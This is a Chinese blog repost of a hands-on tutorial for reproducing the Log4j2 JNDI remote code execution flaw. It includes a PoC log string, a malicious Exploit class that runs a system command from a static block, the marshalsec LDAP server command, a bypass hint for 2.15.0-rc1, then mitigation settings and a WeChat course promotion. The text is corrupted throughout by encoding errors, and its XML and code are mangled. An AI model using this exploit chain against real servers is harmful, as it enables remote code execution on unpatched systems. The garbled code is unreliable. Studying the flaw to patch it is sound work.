手把手教你復現(xiàn)Log4j2漏洞,千萬別中招!

來源:blog.csdn.net/qq_40989258/article/
details/121862363
0x00 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發(fā)框架與Web應用中。
0x01 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標服務器上執(zhí)行任意代碼。
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環(huán)境搭建
創(chuàng)建一個新的maven項目,并導入Log4j的依賴包
<dependency>
????<groupId>org.apache.logging.log4jgroupId>
????<artifactId>log4j-coreartifactId>
????<version>2.14.1version>
dependency>

0x04 漏洞利用
1、使用POC測試
import?org.apache.logging.log4j.LogManager;
import?org.apache.logging.log4j.Logger;
class?LogTest?{
????public?static?final?Logger?logger?=?LogManager.getLogger();
????public?static?void?main(String[]?args)?{
????????logger.error("${jndi:ldap://localhost:8888/Exploit}");
????}
}
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
class?Exploit?{
????static?{
????????System.err.println("Pwned");
????????try?{
????????????String?cmds?=?"calc";
????????????Runtime.getRuntime().exec(cmds);
????????}?catch?(?Exception?e?)?{
????????????e.printStackTrace();
????????}
????}
}
javac exp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務
java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"?8888

4、運行poc.java,即可訪問惡意類并執(zhí)行寫在其中的"calc"命令

結(jié)合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進行了捕獲。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修復方式
目前,Apache官方已發(fā)布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時采用如下臨時措施進行漏洞防范:
1)添加jvm啟動參數(shù)-Dlog4j2.formatMsgNoLookups=true;
2)在應用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產(chǎn)品進行安全防護。
最近給大家找了???Java大型分布式網(wǎng)上預約掛號系統(tǒng)全棧前后端開發(fā)實戰(zhàn)課程視頻教程
資源,怎么領(lǐng)取?
掃二維碼,加我微信,回復:掛號系統(tǒng)
一定要備注:掛號系統(tǒng),不要急哦,工作忙完后就通過!
